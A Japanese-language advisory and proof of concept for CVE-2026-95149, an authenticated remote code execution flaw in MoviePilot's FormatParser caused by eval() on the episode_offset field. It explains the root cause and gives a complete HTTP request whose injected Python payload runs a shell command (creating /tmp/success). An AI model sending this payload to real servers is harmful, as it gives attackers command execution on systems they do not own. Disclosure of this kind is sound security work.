
CVE-2026-95149の概念実証および根本原因分析。MoviePilotのFormatParserにおける、episode_offsetへのeval()インジェクションを悪用した認証済みRCEであり、HTTP PoCと修正の詳細を含む。
episode_offset における eval() インジェクションによる認証済み RCE(MoviePilot FormatParser)| 項目 | 値 |
|---|---|
| CVE ID | CVE-2026-95149 |
| 製品 | MoviePilot (jxxghp/MoviePilot) |
| 影響を受けるバージョン | <= v3.0.0 |
| 修正済み | v3 ブランチ — コミット 65b9c777de9194e40ba29dc17345afc5b4b4b0ba |
| 深刻度 | 高 |
| 攻撃ベクトル | リモート、HTTP API 経由 |
| 必要な権限 | 認証済みの管理ユーザー(管理者または管理ロールのアカウント) |
| ユーザー操作 | 不要 |
| 報告日 | 2026-09-11 |
| 公開イシュー | jxxghp/MoviePilot#6644 |
FormatParser は任意の文字列を受け入れ、その文字列に "EP" が含まれているかどうかだけで分岐します。文字列の残りの部分が
整形式の算術式であるかどうかは一切検証しません:
elif "EP" in offset:
self.__offset = offset
その後、複数の下流の分岐でテキスト置換によって Python 式が構築され、それが直接評価されます:
start_ep = self.__offset.replace("EP", str(self._start_ep))
return int(eval(start_ep)), None, self.part
int(...) ラッパーは式の戻り値を制約するだけであり、評価中に発生する副作用を防ぐものではありません。
したがって、ペイロードに埋め込まれた関数呼び出し、インポート、属性アクセスは、最終的な値が int に変換される前に実行されます。
よくある緩和策の試みは、ペイロードにゼロを掛けて算術結果を数値のままに保つことです:
EP+__import__('os').system('touch /tmp/success')*0
これでも依然として機能します。副作用(コマンドの起動)は評価中に、最終的な加算が int に変換されるよりはるか前に発生するため、
攻撃者はコマンド実行と int() の型チェックを通過する値の両方を手に入れることになります。
POST /api/v1/transfer/manual?background=false HTTP/1.1
Host: x.x.x.x
Content-Length: 814
X-MoviePilot-Locale: zh-CN
Authorization: Bearer XXXX
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
DNT: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/153.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
{
"fileitem": {
"storage": "local",
"path": "/configured/media/file.mkv",
"type": "file",
"name": "file.mkv"
},
"episode_offset": "EP+__import__('os').system('touch /tmp/success')*0"
}
脆弱なインスタンスでは、/tmp/success が MoviePilot サービスプロセスによって作成されます。API 呼び出しが
200 を返さない場合、int() キャストは例外を発生させます — しかし注入されたコマンドはすでに実行済みであるため、
リクエストの結果はエクスプロイトには関係ありません。
app/application/formatting.py(v3.0.0 の 102 行目と 184 行目)app/api/endpoints/transfer.py:645 → app/schemas/transfer.py:302